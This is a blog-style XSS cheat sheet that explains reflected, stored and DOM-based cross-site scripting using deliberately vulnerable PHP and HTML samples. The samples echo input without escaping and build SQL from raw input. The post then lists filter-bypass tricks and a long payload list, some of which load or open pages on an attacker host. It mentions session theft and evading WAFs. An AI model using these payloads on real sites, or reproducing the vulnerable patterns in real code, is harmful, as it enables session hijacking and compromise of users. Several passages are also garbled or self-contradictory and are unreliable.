Cross-site scripting (XSS) is a vulnerability that allows an attacker to inject code (usually HTML or JavaScript) into a web. When a victim sees an infected page, the injected code runs in his browser.
Today we bring a Cheat Sheet about this vulnerability that is not the best known by the common user but is one of the most appearing on the webs.

Cross-Site-Scripting (XSS)

The attack will be carried out by inserting in some field of the web page where, being badly validated, we will be able to execute a script like this:

<script>alert("Hacked")</script>

Sometimes this validation is done but still in many cases it is possible to alter our scripts to get skipped filters that are made.
We will create a small list about the filter bypass at the end of this post.

To talk about XSS we have to distinguish between several types that we detail below:

  • XSS Reflected:

    The XSS reflected consists of the injection of the script so that through a malicious url the attacker can cause the execution in the victim’s browser.
    For example in the following code of PHP

    <html>
    <h2>Words search form</h2>	
    <?php
       echo "<form action='index.php' method='get'>
       <p>Palabra a buscar: <input type='text' name='palabra'></p>
       <input type='submit' value='Enviar'>
       </form>
       <br>
       <br>";
       if($_GET){
    	echo "La palabra ".$_GET['palabra']. " ha obtenido el resultado de ...";
    	}
    ?>
    </html>
    

    As we see in the previous code, what is passed through the form will be shown through GET. If we see it graphically we can write the script in the input and see that we achieve execution.



    If we look at the url obtained when entering the script we will see that our script appears although it’s url encoded

    http://vulnerable.com/index.php?palabra=%3Cscript%3Ealert%28%22Hacked%22%29%3C%2Fscript%3E

    If this link is passed to someone, his browser will execute the script that. In this case is a simple alert but we could apply the theft of sessions that have been explained here

  • XSS Stored:

    In contrast to XSS reflected the XSS stored will be stored in the database so the script will have persistence.
    It is a more serious type of XSS because you will not have to resort to the malicious link but everyone who enters where the stored script is displayed will execute it.

    In this case the PHP script that we could find would be something like this:

    <html>
    <h2>Mensajes</h2>	
    <?php
    include("conexion.php");
    echo "<form action='index.php' method='post'>
    <p>Mensaje a introducir: <input type='text' name='mensaje'></p>
    <input type='submit' value='Enviar'>
    </form>
    <br>
    <br>";
    if($_POST){
    	$mensaje=$_POST['mensaje'];
    	$conexion->query("insert into mensajes(mensaje) values('$mensaje')");
    	}
    $result=$conexion->query("select * from mensajes");
    while($line=mysqli_fetch_array($result)){	
    	echo "Mensaje: ".$line['mensaje']."<br>";
    		}
    ?>
    </html>
    

    As we see in this case it will ask us through an input the messages to save and it will also show us the messages stored in the database.
    In this case we also introduce the script in the input and get anyone who visualizes the messages to execute the script.



    In this case the execution occurs without having to trick the user with a link so it is a more dangerous attack although it is also less common since the information stored is validated with more care.

  • DOM Based XSS:

    In this case our injection will not pass through the server so you will not have to pass your filters, the attack will occur directly on the structure of the HTML document (DOM). On the client side is less common the validation of variables and routes so it is more difficult to find filters but if we can find that current browsers like the latest version of firefox convert to url encode while using the methods document.baseURI, document.location.href, etc.

    <html>
    <h2 id="title">HI!</h2>
    <script>
    var URL =  document.baseURI;
    document.write("you are in "+URL);
    </script>
    </html>
    </script>
    </html>
    


    This HTML simply tells you the page you’re on, using the route that appears in the browser. If we change the route adding the # so that it is not sent to the server and then our script get executed.
    As in the case of XSS Reflected, we will need to send the malicious url to the victim, since persistence will not be achieved.


After having seen the types of XSS we will now see a series of filters that are implemented to avoid the injection and some ways to bypasse them.

  • Verify the word script:

    When entering the word script the server will process it and eliminate it.
    If it is not Case Sensitive it can be bypassed with:

    <Script>alert("hacked")</Script>
    <SCRIPT>alert("hacked")</SCRIPT>
    

    If on the contrary it does not distinguish between uppercase and lowercase:

    <Scr<script>ipt>alert("hacked")</Scr<script>ipt>
    

    If all combinations are validated we can dispense with the script tag:

    <img src = "fdfdfsfs.jpg" onerror ="alert('hacked')">
    <img src = "javascript: alert ('hacked');">
    <img src = JaVaScRiPt: alert ('hacked')>
    <body ONLOAD = alert ('hacked')>
    
  • Removal of special characters (;, “, ‘):

    Quotation marks or semicolons are sometimes deleted, but we can avoid them:

    <img src =javascript: alert (String.fromCharCode(104,97,99,107,101,100))>
    <img src =&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    
  • Validation via htmlentities():

    <img src = javascript: alert(&quot;hacked&quot;)>
    

A part of these validations can be many more complicated and effective. We should also take caution of the posibility of an active WAF that could detect this type of attack.

A more extended list without classification of useful scripts:

<img src="jav	ascript:alert('hacked');">
<img src="jav&#x09;ascript:alert('hacked');">
<img src="jav&#x0D;ascript:alert('hacked');">
<<SCRIPT>alert("hacked");//<</SCRIPT>
<iframe src=http://attacker-ip/hacked.html <
<STYLE type="text/css">BODY{background:url("javascript:alert('hacked')")}</STYLE>
"><img src="x:x" onerror="alert(hacked)">
"><iframe src="javascript:alert(hacked)">
<object data="javascript:alert(hacked)">
<isindex type=image src=1 onerror=alert(hacked)>
<img src=x:alert(alt) onerror=eval(src) alt='hacked'>
<img  src="x:gif" onerror="window['al\u0065rt']('hacked')"></img>
<iframe/src="data:text/html,<svg onload=alert('hacked')>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert('hacked')" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://attackerip/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm("hacked")">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert("hacked")">X

References:

¿Me ayudas a compatirlo?